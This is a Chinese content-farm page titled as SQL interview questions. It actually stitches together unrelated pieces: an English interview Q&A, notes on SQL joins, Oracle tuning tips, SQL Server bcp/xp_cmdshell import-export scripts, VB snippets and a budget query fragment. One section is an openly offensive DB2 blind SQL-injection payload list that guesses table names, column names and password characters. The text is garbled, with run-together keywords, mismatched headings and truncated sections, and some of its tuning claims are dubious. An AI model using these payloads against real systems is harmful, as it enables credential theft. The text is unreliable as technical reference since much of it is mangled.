sql语句简单面试题

2024-09-09

sql语句简单面试题(通用9篇)

sql语句简单面试题 篇1

i: how would you describe your ideal job?

面试题:你理想的工作是什么样的?

a: i think the job should make use of the professional experience i have obtained, and offer me opportunity for advancement.我认为应该能发挥我掌握的专业知识,而且能为我提供升职的机会。

i: why do you think you might like to work for our company?

面试题:那你为什么认为你会喜欢在我们公司工作呢?

a: i feel my background and experience are a good fit for this position and i am very interested.what more, your company is outstanding in this field.我认为我的背景和经验非常适合这个工作,而且我对这个工作也非常感兴趣,况且贵公司又是这个领域的佼佼者。

i: what makes you think you would be a success in this position?

面试题:你怎么知道能胜任这份工作呢?

a: my graduate school training combined with my experience as an intern should qualify me for this particular job.i am sure i will be successful.我在研究所所受的训练,加上实习工作经验,应该使我适合做这份工作。我相信我会成功的。

i: how do you know about this company?

面试题:你是如何知道本公司的?

a: your company is very reputed in this city;i heard much praise to your company.贵公司在本市很有名,我听到很多对贵公司的好评。

sql连接语句 篇2

对于等值连接和自然连接,在WHERE子句中使用等于比较运算符,二者的区别在于等值连接的查询结果中列出所连接表中的所有列,包括它们之间的重复列,而自然连接的选择列表中删除被连接表间的重复列。

例:

(3)不等连接

不等连接使用除等于运算符以外的其他比较运算符,这些运算符包括>,>=,<=,<,!>,!<和>等。

(4)自连接

自连接中,使用同一个表的相同列进行比较,这时,对于同一个表应给出不同的别名。

例:使用自连接列出合著的图书标识及其作者姓名

2.外连接

内连接中,查询结果中所显示的仅是符合查询条件的行,而采用外连接时,它不仅包含符合连接条件的行,而且还包括左表或右表连接中的所有行,

外连接操作符有*=和=*两种,采用*=连接时,查询结果中将包含第一个表中的所有行,而采用=*连接时,查询结果将包含=*操作符后面表中所有数据行。

在进行一些统计时,需要使用外连接。例如,假定有两个表,一个表(PERSON)包含人员的姓名(NAME)及其标识(ID),另一个表(DESC)包含人员标识(ID)及其受奖惩情况(MEMO)。在统计单位的所有人员及其奖惩情况时,使用外连接书写查询语句就特别简单,即:

SELECT name,memo

FROM person,desc

WHERE person.id*=desc.id

sql语句高效性 篇3

sql语句高效性

在SQL Server数据库中,我们在写查询语句时,一定要遵循一定的原则才能能够使SQL语句执行起来更加的高效率。本文我们主要就总结了34条写高性能SQL语句的原则,接下来就让我们一起来了解一下这部分内容吧。 (1)选择最有效率的表名顺序(只在基于规则的优化器中有效): ORACLE的解析器按照从右到左的顺序处理FROM子句中的表名,FROM子句中写在最后的表(基础表drivingtable)将被最先处理,在FROM子句中包含多个表的情况下,你必须选择记录条数最少的表作为基础表。如果有3个以上的表连接查询,那就需要选择交叉表(intersectiontable)作为基础表,交叉表是指那个被其他表所引用的表. (2)WHERE子句中的连接顺序.: ORACLE采用自下而上的顺序解析WHERE子句,根据这个原理,表之间的连接必须写在其他WHERE条件之前,那些可以过滤掉最大数量记录的条件必须写在WHERE子句的末尾. (3)SELECT子句中避免使用‘*‘: ORACLE在解析的过程中,会将*依次转换成所有的列名,这个工作是通过查询数据字典完成的,这意味着将耗费更多的时间 (4)减少访问数据库的次数: ORACLE在内部执行了许多工作:解析SQL语句,估算索引的利用率,绑定变量,读数据块等; (5)在SQL*Plus,SQL*Forms和Pro*C中重新设置ARRAYSIZE参数,可以增加每次数据库访问的检索数据量,建议值为200 (6)使用DECODE函数来减少处理时间: 使用DECODE函数可以避免重复扫描相同记录或重复连接相同的表. (7)整合简单,无关联的数据库访问: 如果你有几个简单的数据库查询语句,你可以把它们整合到一个查询中(即使它们之间没有关系) (8)删除重复记录: 最高效的删除重复记录方法(因为使用了ROWID)例子: 1. DELETEFROMEMPEWHEREE.ROWID>(SELECTMIN(X.ROWID) 2. FROMEMPXWHEREX.EMP_NO=E.EMP_NO); (9)用TRUNCATE替代DELETE: 当删除表中的记录时,在通常情况下,回滚段(rollbacksegments)用来存放可以被恢复的信息.如果你没有COMMIT事务,ORACLE会将数据恢复到删除之前的状态(准确地说是恢复到执行删除命令之前的状况)而当运用TRUNCATE时,回滚段不再存放任何可被恢复的信息.当命令运行后,数据不能被恢复.因此很少的资源被调用,执行时间也会很短.(译者按:TRUNCATE只在删除全表适用,TRUNCATE是DDL不是DML) (10)尽量多使用COMMIT: 只要有可能,在程序中尽量多使用COMMIT,这样程序的性能得到提高,需求也会因为COMMIT所释放的资源而减少: COMMIT所释放的资源: a.回滚段上用于恢复数据的信息. b.被程序语句获得的锁 c.redologbuffer中的空间 d.ORACLE为管理上述3种资源中的内部花费 (11)用Where子句替换HAVING子句: 避免使用HAVING子句,HAVING只会在检索出所有记录之后才对结果集进行过滤.这个处理需要排序,总计等操作.如果能通过WHERE子句限制记录的数目,那就能减少这方面的开销.(非oracle中)on、where、having这三个都可以加条件的子句中,on是最先执行,where次之,having最后,因为on是先把不符合条件的记录过滤后才进行统计,它就可以减少中间运算要处理的数据,按理说应该速度是最快的,where也应该比having快点的,因为它过滤数据后才进行sum,在两个表联接时才用on的,所以在一个表的时候,就剩下where跟having比较了。在这单表查询统计的情况下,如果要过滤的条件没有涉及到要计算字段,那它们的结果是一样的,只是where可以使用rushmore技术,而having就不能,在速度上后者要慢如果要涉及到计算的字段,就表示在没计算之前,这个字段的值是不确定的,根据上篇写的工作流程,where的作用时间是在计算之前就完成的,而having就是在计算后才起作用的,所以在这种情况下,两者的结果会不同。在多表联接查询时,on比where更早起作用。系统首先根据各个表之间的联接条件,把多个表合成一个临时表后,再由where进行过滤,然后再计算,计算完后再由having进行过滤。由此可见,要想过滤条件起到正确的作用,首先要明白这个条件应该在什么时候起作用,然后再决定放在那里 (12)减少对表的查询: 在含有子查询的SQL语句中,要特别注意减少对表的`查询.例子: 1. SELECTTAB_NAMEFROMTABLESWHERE(TAB_NAME,DB_VER)=(SE LECT 2. TAB_NAME,DB_VERFROMTAB_COLUMNSWHEREVERSION=604) (13)通过内部函数提高SQL效率.: 复杂的SQL往往牺牲了执行效率.能够掌握上面的运用函数解决问题的方法在实际工作中是非常有意义的。 (14)使用表的别名(Alias): 当在SQL语句中连接多个表时,请使用表的别名并把别名前缀于每个Column上.这样一来,就可以减少解析的时间并减少那些由Column歧义引起的语法错误. (15)用EXISTS替代IN、用NOTEXISTS替代NOTIN: 在许多基于基础表的查询中,为了满足一个条件,往往需要对另一个表进行联接.在这种情况下,使用EXISTS(或NOTEXISTS)通常将提高查询的效率.在子查询中,NOTIN子句将执行一个内部的排序和合并.无论在哪种情况下,NOTIN都是最低效的(因为它对子查询中的表执行了一个全表遍历).为了避免使用NOTIN,我们可以把它改写成外连接(OuterJoins)或NOTEXISTS. 例子: 高效: 1. SELECT*FROMEMP(基础表)WHEREEMPNO>0ANDEXISTS 2. (SELECT‘XFROMDEPTWHEREDEPT.DEPTNO=EMP.DEPTNOANDLOC=‘MELB) 低效: 1. SELECT*FROMEMP(基础表)WHEREEMPNO>0ANDDEPTNOIN 2. (SELECTDEPTNOFROMDEPTWHERELOC=‘MELB) (16)识别低效执行的SQL语句: 虽然目前各种关于SQL优化的图形化工具层出不穷,但是写出自己的SQL工具来解决问题始终是一个最好的方法: 1. SELECTEXECUTIONS,DISK_READS,BUFFER_GETS, 2. ROUND((BUFFER_GETS-DISK_READS)/BUFFER_GETS,2)Hit_r adio, 3. ROUND(DISK_READS/EXECUTIONS,2)Reads_per_run, 4. SQL_TEXT 5. FROMV$SQLAREA 6. WHEREEXECUTIONS>0 7. ANDBUFFER_GETS>0 8. AND(BUFFER_GETS-DISK_READS)/BUFFER_GETS<0.8 9. ORDERBY4DESC; (17)用索引提高效率: 索引是表的一个概念部分,用来提高检索数据的效率,ORACLE使用了一个复杂的自平衡B-tree结构.通常,通过索引查询数据比全表扫描要快.当ORACLE找出执行查询和Update语句的最佳路径时,ORACLE优化器将使用索引.同样在联结多个表时使用索引也可以提高效率.另一个使用索引的好处是,它提供了主键(primarykey)的唯一性验证.。那些LONG或LONGRAW数据类型,你可以索引几乎所有的列.通常,在大型表中使用索引特别有效.当然,你也会发现,在扫描小表时,使用索引同样能提高效率.虽然使用索引能得到查询效率的提高,但是我们也必须注意到它的代价.索引需要空间来存储,也需要定期维护,每当有记录在表中增减或索引列被修改时,索引本身也会被修改.这意味着每条记录的INSERT,DELETE,UPDATE将为此多付出4,5次的磁盘I/O.因为索引需要额外的存储空间和处理,那些不必要的索引反而会使查询反应时间变慢.。定期的重构索引是有必要的.: ALTERINDEXREBUILD (18)用EXISTS替换DISTINCT: 当提交一个包含一对多表信息(比如部门表和雇员表)的查询时,避免在SELECT子句中使用DISTINCT.一般可以考虑用EXIST替换,EXISTS使查询更为迅速,因为RDBMS核心模块将在子查询的条件一旦满足后,立刻返回结果.例子: 低效: 1. SELECTDISTINCTDEPT_NO,DEPT_NAMEFROMDEPTD,EMPE 2. WHERED.DEPT_NO=E.DEPT_NO 高效: 1. SELECTDEPT_NO,DEPT_NAMEFROMDEPTDWHEREEXISTS(SELECT‘X 2. FROMEMPEWHEREE.DEPT_NO=D.DEPT_NO); (19)sql语句用大写的;因为oracle总是先解析sql语句,把小写的字母转换成大写的再执行 (20)在java代码中尽量少用连接符“+”连接字符串! (21)避免在索引列上使用NOT通常, 我们要避免在索引列上使用NOT,NOT会产生在和在索引列上使用函数相同的影响.当ORACLE”遇到”NOT,他就会停止使用索引转而执行全表扫描. (22)避免在索引列上使用计算. WHERE子句中,如果索引列是函数的一部分.优化器将不使用索引而使用全表扫描. 举例: 低效: SELECT…FROMDEPTWHERESAL*12>25000; 高效: SELECT…FROMDEPTWHERESAL>25000/12; (23)用>=替代> 高效: SELECT*FROMEMPWHEREDEPTNO>=4 低效: SELECT*FROMEMPWHEREDEPTNO>3 两者的区别在于,前者DBMS将直接跳到第一个DEPT等于4的记录而后者将首先定位到DEPTNO=3的记录并且向前扫描到第一个DEPT大于3的记录. (24)用UNION替换OR(适用于索引列) 通常情况下,用UNION替换WHERE子句中的OR将会起到较好的效果.对索引列使用OR将造成全表扫描.注意,以上规则只针对多个索引列有效.如果有column没有被索引,查询效率可能会因为你没有选择OR而降低.在下面的例子中,LOC_ID和REGION上都建有索引. 高效: 1. SELECTLOC_ID,LOC_DESC,REGION 2. FROMLOCATION 3. WHERELOC_ID=10 4. UNION 5. SELECTLOC_ID,LOC_DESC,REGION 6. FROMLOCATION 7. WHEREREGION=“MELBOURNE” 低效: 1. SELECTLOC_ID,LOC_DESC,REGION 2. FROMLOCATION 3. WHERELOC_ID=10ORREGION=“MELBOURNE” 如果你坚持要用OR,那就需要返回记录最少的索引列写在最前面. (25)用IN来替换OR 这是一条简单易记的规则,但是实际的执行效果还须检验,在ORACLE8i下,两者的执行路径似乎是相同的. 低效: SELECT….FROMLOCATIONWHERELOC_ID=10ORLOC_ID=20ORLOC_ID=30 高效 SELECT…FROMLOCATIONWHERELOC_ININ(10,20,30); (26)避免在索引列上使用ISNULL和ISNOTNULL 避免

sql语句简单面试题 篇4

/*******导出到excel

EXEC master..xp_cmdshell ’bcp SettleDB.dbo.shanghu out c: emp1.xls -c -q -S”GNETDATA/GNETDATA“ -U”sa“ -P”“’

/***********导入Excel

SELECT *

FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’,

’Data Source=”c: est.xls“;User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions

SELECT cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+’ ’ 转换后的别名

FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’,

’Data Source=”c: est.xls“;User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions

/** 导入文本文件

EXEC master..xp_cmdshell ’bcp ”dbname..tablename“ in c:DT.txt -c -Sservername -Usa -Ppassword’

/** 导出文本文件

EXEC master..xp_cmdshell ’bcp ”dbname..tablename“ out c:DT.txt -c -Sservername -Usa -Ppassword’

EXEC master..xp_cmdshell ’bcp ”Select * from dbname..tablename“ queryout c:DT.txt -c -Sservername -Usa -Ppassword’

导出到TXT文本,用逗号分开

exec master..xp_cmdshell ’bcp ”库名..表名“ out ”d: t.txt“ -c -t ,-U sa -P password’

BULK INSERT 库名..表名

FROM ’c: est.txt’

WITH (

FIELDTERMINATOR = ’;’,

ROWTERMINATOR = ’ ’

)

--/* dBase IV文件

select * from

OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’

,’dBase IV;HDR=NO;IMEX=2;DATABASE=C:’,’select * from [客户资料4.dbf]’)

--*/

--/* dBase III文件

select * from

OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’

,’dBase III;HDR=NO;IMEX=2;DATABASE=C:’,’select * from [客户资料3.dbf]’)

--*/

--/* FoxPro 数据库

select * from openrowset(’MSDASQL’,

’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:’,

’select * from [aa.DBF]’)

--*/

/**************导入DBF文件****************/

select * from openrowset(’MSDASQL’,

’Driver=Microsoft Visual FoxPro Driver;

SourceDB=e:VFP98data;

SourceType=DBF’,

’select * from customer where country != ”USA“ order by country’)

go

/***************** 导出到DBF ***************/

如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句

insert into openrowset(’MSDASQL’,

’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:’,

’select * from [aa.DBF]’)

select * from 表

说明:

SourceDB=c:指定foxpro表所在的文件夹

aa.DBF指定foxpro表的文件名.

/*************导出到Access********************/

insert into openrowset(’Microsoft.Jet.OLEDB.4.0’,

’x:A.mdb’;’admin’;’’,A表) select * from 数据库名..B表

/*************导入Access********************/

insert into B表 selet * from openrowset(’Microsoft.Jet.OLEDB.4.0’,

’x:A.mdb’;’admin’;’’,A表)

*********************导入 xml 文件

DECLARE @idoc int

DECLARE @doc varchar(1000)

--sample XML document

SET @doc =’

Customer was very satisfied

white red”>

Important

Happy Customer.

-- Create an internal representation of the XML document.

EXEC sp_xml_preparedocument @idoc OUTPUT, @doc

-- Execute a SELECT statement using OPENXML rowset provider.

SELECT *

FROM OPENXML (@idoc, ’/root/Customer/Order’, 1)

WITH (oidchar(5),

amountfloat,

comment ntext ’text’)

EXEC sp_xml_removedocument @idoc

/********************导整个数据库*********************************************/

用bcp实现的存储过程

/*

实现数据导入/导出的存储过程

根据不同的参数,可以实现导入/导出整个数据库/单个表

调用示例:

--导出调用示例

----导出单个表

exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:zj.txt’,1

----导出整个数据库

exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:docman’,1

--导入调用示例

----导入单个表

exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:zj.txt’,0

----导入整个数据库

exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:docman’,0

*/

if exists(select 1 from sysobjects where name=’File2Table’ and objectproperty(id,’IsProcedure’)=1)

drop procedure File2Table

go

create procedure File2Table

@servername varchar(200)--服务器名

,@username varchar(200)--用户名,如果用NT验证方式,则为空’’

,@password varchar(200)--密码

,@tbname varchar(500)--数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表

,@filename varchar(1000)--导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt

,@isout bit--1为导出,0为导入

as

declare @sql varchar(8000)

if @tbname like ’%.%.%’ --如果指定了表名,则直接导出单个表

begin

set @sql=’bcp ’+@tbname

+case when @isout=1 then ’ out ’ else ’ in ’ end

+’ “’+@filename+’” /w’

+’ /S ’+@servername

+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end

+’ /P ’+isnull(@password,’’)

exec master..xp_cmdshell @sql

end

else

begin --导出整个数据库,定义游标,取出所有的用户表

declare @m_tbname varchar(250)

if right(@filename,1)’’ set @filename=@filename+’’

set @m_tbname=’declare #tb cursor for select name from ’+@tbname+’..sysobjects where xtype=’’U’’’

exec(@m_tbname)

open #tb

fetch next from #tb into @m_tbname

while @@fetch_status=0

begin

set @sql=’bcp ’+@tbname+’..’+@m_tbname

+case when @isout=1 then ’ out ’ else ’ in ’ end

+’ “’+@filename+@m_tbname+’.txt ” /w’

+’ /S ’+@servername

+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end

+’ /P ’+isnull(@password,’’)

exec master..xp_cmdshell @sql

fetch next from #tb into @m_tbname

end

close #tb

deallocate #tb

end

go

/**********************Excel导到Txt****************************************/

想用

select * into opendatasource(...) from opendatasource(...)

实现将一个Excel文件内容导入到一个文本文件

假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位)

且银行帐号导出到文本文件后分两部分,前8位和后8位分开,

(MS SQL Server)SQL语句导入导出大全数据库教程

如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2

然后就可以用下面的语句进行插入

注意文件名和目录根据你的实际情况进行修改.

insert into

opendatasource(’MICROSOFT.JET.OLEDB.4.0’

,’Text;HDR=Yes;DATABASE=C:’

)...[aa#txt]

--,aa#txt)

--*/

select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)

from

opendatasource(’MICROSOFT.JET.OLEDB.4.0’

,’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:a.xls’

--,Sheet1$)

)...[Sheet1$]

如果你想直接插入并生成文本文件,就要用bcp

declare @sql varchar(8000),@tbname varchar(50)

--首先将excel表内容导入到一个全局临时表

select @tbname=’[##temp’+cast(newid() as varchar(40))+’]’

,@sql=’select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)

into ’+@tbname+’ from

opendatasource(’’MICROSOFT.JET.OLEDB.4.0’’

,’’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:a.xls’’

)...[Sheet1$]’

exec(@sql)

--然后用bcp从全局临时表导出到文本文件

set @sql=’bcp “’+@tbname+’” out “c:aa.txt” /S“(local)” /P“” /c’

exec master..xp_cmdshell @sql

--删除临时表

exec(’drop table ’+@tbname)

用bcp将文件导入导出到数据库的存储过程:

/*--bcp-二进制文件的导入导出

支持image,text,ntext字段的导入/导出

image适合于二进制文件;text,ntext适合于文本数据文件

注意:导入时,将覆盖满足条件的所有行

导出时,将把所有满足条件的行也出到指定文件中

此存储过程仅用bcp实现

邹建 2003.08-----------------*/

/*--调用示例

--数据导出

exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:zj1.dat’

--数据导出

exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:zj1.dat’,’’,0

--*/

if exists (select * from dbo.sysobjects where id = object_id(N’[dbo].[p_binaryIO]’) and OBJECTPROPERTY(id, N’IsProcedure’) = 1)

drop procedure [dbo].[p_binaryIO]

GO

Create proc p_binaryIO

@servename varchar (30),--服务器名称

@username varchar (30), --用户名

@password varchar (30), --密码

@tbname varchar (500),--数据库..表名

@fdname varchar (30),--字段名

@fname varchar (1000), --目录+文件名,处理过程中要使用/覆盖:@filename+.bak

@tj varchar (1000)=’’,--处理条件.对于数据导入,如果条件中包含@fdname,请指定表名前缀

@isout bit=1--1导出((默认),0导入

AS

declare @fname_in varchar(1000) --bcp处理应答文件名

,@fsize varchar(20)--要处理的文件的大小

,@m_tbname varchar(50)--临时表名

,@sql varchar(8000)

--则取得导入文件的大小

if @isout=1

set @fsize=’0’

else

begin

create table #tb(可选名 varchar(20),大小 int

,创建日期 varchar(10),创建时间 varchar(20)

,上次写操作日期 varchar(10),上次写操作时间 varchar(20)

,上次访问日期 varchar(10),上次访问时间 varchar(20),特性 int)

insert into #tb

exec master..xp_getfiledetails @fname

select @fsize=大小 from #tb

drop table #tb

if @fsize is null

begin

print ’文件未找到’

return

end

end

--生成数据处理应答文件

set @m_tbname=’[##temp’+cast(newid() as varchar(40))+’]’

set @sql=’select * into ’+@m_tbname+’ from(

select null as 类型

union all select 0 as 前缀

union all select ’+@fsize+’ as 长度

union all select null as 结束

union all select null as 格式

) a’

exec(@sql)

select @fname_in=@fname+’_temp’

,@sql=’bcp “’+@m_tbname+’” out “’+@fname_in

+’” /S“’+@servename

+case when isnull(@username,’’)=’’ then ’’

else ’” /U“’+@username end

+’” /P“’+isnull(@password,’’)+’” /c’

exec master..xp_cmdshell @sql

--删除临时表

set @sql=’drop table ’+@m_tbname

exec(@sql)

if @isout=1

begin

set @sql=’bcp “select top 1 ’+@fdname+’ from ’

+@tbname+case isnull(@tj,’’) when ’’ then ’’

else ’ where ’+@tj end

+’” queryout “’+@fname

+’” /S“’+@servename

+case when isnull(@username,’’)=’’ then ’’

else ’” /U“’+@username end

+’” /P“’+isnull(@password,’’)

+’” /i“’+@fname_in+’”’

exec master..xp_cmdshell @sql

end

else

begin

--为数据导入准备临时表

set @sql=’select top 0 ’+@fdname+’ into ’

+@m_tbname+’ from ’ +@tbname

exec(@sql)

--将数据导入到临时表

set @sql=’bcp “’+@m_tbname+’” in “’+@fname

+’” /S“’+@servename

+case when isnull(@username,’’)=’’ then ’’

else ’” /U“’+@username end

+’” /P“’+isnull(@password,’’)

+’” /i“’+@fname_in+’”’

exec master..xp_cmdshell @sql

--将数据导入到正式表中

set @sql=’update ’+@tbname

+’ set ’+@fdname+’=b.’+@fdname

+’ from ’+@tbname+’ a,’

+@m_tbname+’ b’

+case isnull(@tj,’’) when ’’ then ’’

else ’ where ’+@tj end

exec(@sql)

--删除数据处理临时表

set @sql=’drop table ’+@m_tbname

end

--删除数据处理应答文件

set @sql=’del ’+@fname_in

exec master..xp_cmdshell @sql

go

/** 导入文本文件

EXEC master..xp_cmdshell ’bcp “dbname..tablename” in c:DT.txt -c -Sservername -Usa -Ppassword’

改为如下,不需引号

EXEC master..xp_cmdshell ’bcp dbname..tablename in c:DT.txt -c -Sservername -Usa -Ppassword’

/** 导出文本文件

EXEC master..xp_cmdshell ’bcp “dbname..tablename” out c:DT.txt -c -Sservername -Usa -Ppassword’

VB数据库SQL语句学习 篇5

2.Select StudentID, StudentName from student 只查询学号和姓名

3.Select StudentID as 学号, StudentName as 姓名, Sex as 性别,Class as 班级,NormalScore as平时成绩,ExperimentScore as 实验成绩, ExaminationScore as 考试成绩 from student

4.Select * from student where sex=’男’只需要查看男生的成绩

5.Select * from student where NormalScore>80只需要查看平时成绩大于80分的记录

6.Select * from student where studentname like ‘陈%’查询姓陈的同学的记录

7.Select * from student order by examinationScore根据考试成绩排序

8.Select * from student order by examinationScore排序---降序

9.Select Sum(examinationScore)as 总成绩 from student求总成绩

10.Select Avg(examinationScore)as平均成绩 from student求平均成绩

11.Select count(*)as 总记录数 from student求总记录数

12.Select Max(ExaminationScore)as 最高分 from student求最高分

13.Select Min(ExaminationScore)as 最高低分 from student求最低分

14.Select Class as 班级, Avg(ExaminationScore)as平均成绩 from student group by class各班级成绩的分类汇总

Public Class frmMain

Private ObjCnn As New OleDbConnection

Private ObjCmd As OleDbCommand

Private StrDir As String = “D:MIS1025StudentMgr.accdb”

Private Sub frmMain_Load(ByVal sender As System.Object, ByVal e As

System.EventArgs)Handles MyBase.Load

ObjCnn.ConnectionString = “Provider=Microsoft.ACE.OLEDB.12.0;Data Source=” & StrDir

ObjCnn.Open()

ObjCmd = New OleDbCommand

ObjCmd.Connection = ObjCnn

End Sub

Private Sub FindRecord(ByVal StrSQL As String)

ObjCmd.CommandText = StrSQL

Dim rd As OleDbDataReader = ObjCmd.ExecuteReader

Dim tbl As New DataTable

tbl.Load(rd)

DataGridView1.DataSource = tbl

End Sub

Private Sub CmdFind_Click(ByVal sender As System.Object,System.EventArgs)Handles CmdFind.Click

FindRecord(txtSQL.Text)

使用SQL语句取随机数的方法 篇6

方法如下:

SQL Server:

Select TOP N * From TABLE order By NewID

Access:

dim r

randomize

r = rnd

sql = “select top 10 * from table order by rnd(” & r & “-id)”

rnd(“ & r & ”-id) 其中的id是自动编号字段,可以利用其他任何数值来完成,比如用姓名字段(UserName)

select top 10 * from table order by rnd(“ & r & ”-Len(UserName))

MySql:

Select * From TABLE order By Rand() Limit 10

orACLE:

DB2数据库SQL注入语句 篇7

猜用户表数量:

and 0<(SELECT count(NAME) FROM SYSIBM.SYSTABLES where CREATOR=USER)

猜表长度:

and 3<(SELECT LENGTH(NAME) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)

猜表第一个字符ASCII码:

and 3<(SELECT ASCII(SUBSTR(NAME,1,1)) FROM SYSIBM.SYSTABLES where name not in(’COLUMNS’) fetch first 1 rows only)

猜表内列名数量:

and 1<(SELECT COUNT(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘)

猜第一个列名的长度

and 1<(SELECT LENGTH(COLNAME) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)

猜第一个列名第一个字符的ASCII码

and 1<(SELECT ASCII(SUBSTR(COLNAME,1,1)) FROM SYSCAT.columns where TABNAME=’TABLE‘ and colno=0)

依ID排降序,猜第一个PASSWD的长度

and 0<(SELECT LENGTH(PASSWD) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)

依ID排降序,猜第一个PASSWD第一个字符的ASCII码

and 0<(SELECT ASCII(SUBSTR(PASSWD,1,1)) FROM TABLE ORDER BY ID DESC FETCH FIRST 1 ROWS ONLY)

猜第二个PASSWD第一个字符的ASCII码

SQL常见面试题目 篇8

1.SQL语句

2.SQL Server存储过程,与触发器的作用,与优缺点

3.标准的.SQL与T-SQL的区别?写出4个SQL命令和3个T-SQL命令,

4.在实践中,对象设计常常来自数据。下表是一个软件顾问公司的数据,它列出公司内部每个顾问师的现行工作分配。

很明显,这个表违反了 第三范式。审查表中的数据,然后进行面向对象的设计,用UML类图表达出表中隐含对象之间的静态关系。

再用“一类——表格”标准法则, 把对象映射为规范化的关系结构。

名字 身份证号 工作分配 百分比 价格 公司 地址

John Smith 123-45-6789 数据库设计 60% 55 ABCD 888ave

Tom Chan 582-54-5528 网络安装 40% 70 ABCD 888ave

Mike Brown 473-55-8721 软件编码 100% 80 IT。com 1 main st

John Smith 123-45-6789 数据库设计 40% 60 IT。com 1 main st

Sue Li 743-31-3782 客户培训 100% 65 IT。com 1 main st

Tom chan 582-54-5528 网络安装 60% 75 HiTech 7 state Rd

5.数据库表user pk ID int Name (char) Age(int) Sex(bit)

(1) sex=0,age=20的name降序

(2) 当sex=1时,age+1

(3) 删除所有奇数据

(4) 统计age>20的个数

(5) 年龄最大的人的名字

sql语句简单面试题 篇9

W_KMR01_11 ---- KMM13BR COPYWRITE BY LD /09/07 15:30

SELECT DISTINCT SUBSTRING( KMM102.KMM102_BGT_TYPE,1,4 ) AS BGT_TYPE,

( CASE SUBSTRING( KMM102.KMM102_BGT_TYPE,3,2 ) WHEN “09” THEN “1” WHEN “10” THEN “2”

WHEN “11” THEN “3” ELSE “9” END ) AS BGT_CLASS,

SUBSTRING( KMM102.KMM102_BGT_TYPE,1,2 ) AS BGT_TEAM,

( ISNULL( (SELECT SUBSTRING(KMC101.KMC101_NAME,CHARINDEX(“-”,KMC101.KMC101_NAME)+1,12) FROM KMC101

WHERE ( KMC101.KMC101_TYPE = “BUDGETCODE” )

AND ( KMC101.KMC101_CODE = SUBSTRING( KMM102.KMM102_BGT_TYPE,1,4 ) + “00” ) ),“” ) ) AS BGT_NAME,

SUM( ISNULL( KMM101.KMM101_BGT_JAN,0 ) ) AS BGT_AMT01,

SUM( ISNULL( KMM101.KMM101_BGT_FEB,0 ) ) AS BGT_AMT02,

SUM( ISNULL( KMM101.KMM101_BGT_MAR,0 ) ) AS BGT_AMT03,

SUM( ISNULL( KMM101.KMM101_BGT_APR,0 ) ) AS BGT_AMT04,

SUM( ISNULL( KMM101.KMM101_BGT_MAY,0 ) ) AS BGT_AMT05,

SUM( ISNULL( KMM101.KMM101_BGT_JUN,0 ) ) AS BGT_AMT06,

SUM( ISNULL( KMM101.KMM101_BGT_JUL,0 ) ) AS BGT_AMT07,

SUM( ISNULL( KMM101.KMM101_BGT_AUG,0 ) ) AS BGT_AMT08,

SUM( ISNULL( KMM101.KMM101_BGT_SEP,0 ) ) AS BGT_AMT09,

SUM( ISNULL( KMM101.KMM101_BGT_OCT,0 ) ) AS BGT_AMT10,

SUM( ISNULL( KMM101.KMM101_BGT_NOV,0 ) ) AS BGT_AMT11,

SUM( ISNULL( KMM101.KMM101_BGT_DEC,0 ) ) AS BGT_AMT12,

( SUM( ISNULL( KMM101.KMM101_BGT_JAN,0 ) ) + SUM( ISNULL( KMM101.KMM101_BGT_FEB,0 ) ) +

SUM( ISNULL( KMM101.KMM101_BGT_MAR,0 ) ) + SUM( ISNULL( KMM101.KMM101_BGT_APR,0 ) ) +

SUM( ISNULL( KMM101.KMM101_BGT_MAY,0 ) ) + SUM( ISNULL( KMM101.KMM101_BGT_JUN,0 ) ) +

SUM( ISNULL( KMM101.KMM101_BGT_JUL,0 ) ) + SUM( ISNULL( KMM101.KMM101_BGT_AUG,0 ) ) +

SUM( ISNULL( KMM101.KMM101_BGT_SEP,0 ) ) + SUM( ISNULL( KMM101.KMM101_BGT_OCT,0 ) ) +

SUM( ISNULL( KMM101.KMM101_BGT_NOV,0 ) ) + SUM( ISNULL( KMM101.KMM101_BGT_DEC,0 ) ) ) AS AMT01,

( “XXXXXXXX” ) AS AMT02,

SUM( ISNULL( ( CASE WHEN ( CONVERT(CHAR(8),KMM102.KMM102_CHK_DATE,112) < “YYYYMMDD” )

THEN KMM102.KMM102_CHK_AMT ELSE 0 END ),0 ) ) AS AMT09,

SUM( ISNULL( ( CASE WHEN ( ( CONVERT(CHAR(8),KMM102.KMM102_OVER_DATE,112) < “YYYYMMDD” )

AND KMM102.KMM102_OVER_STATUS “00” )

THEN KMM102.KMM102_OVER_AMT

WHEN ( ( CONVERT(CHAR(8),KMM102.KMM102_OVER_DATE,112) < “YYYYMMDD” )

AND KMM102.KMM102_OVER_STATUS = “00” )

THEN KMM102.KMM102_OVER_AMT ELSE 0 END ),0 ) ) AS AMT07,

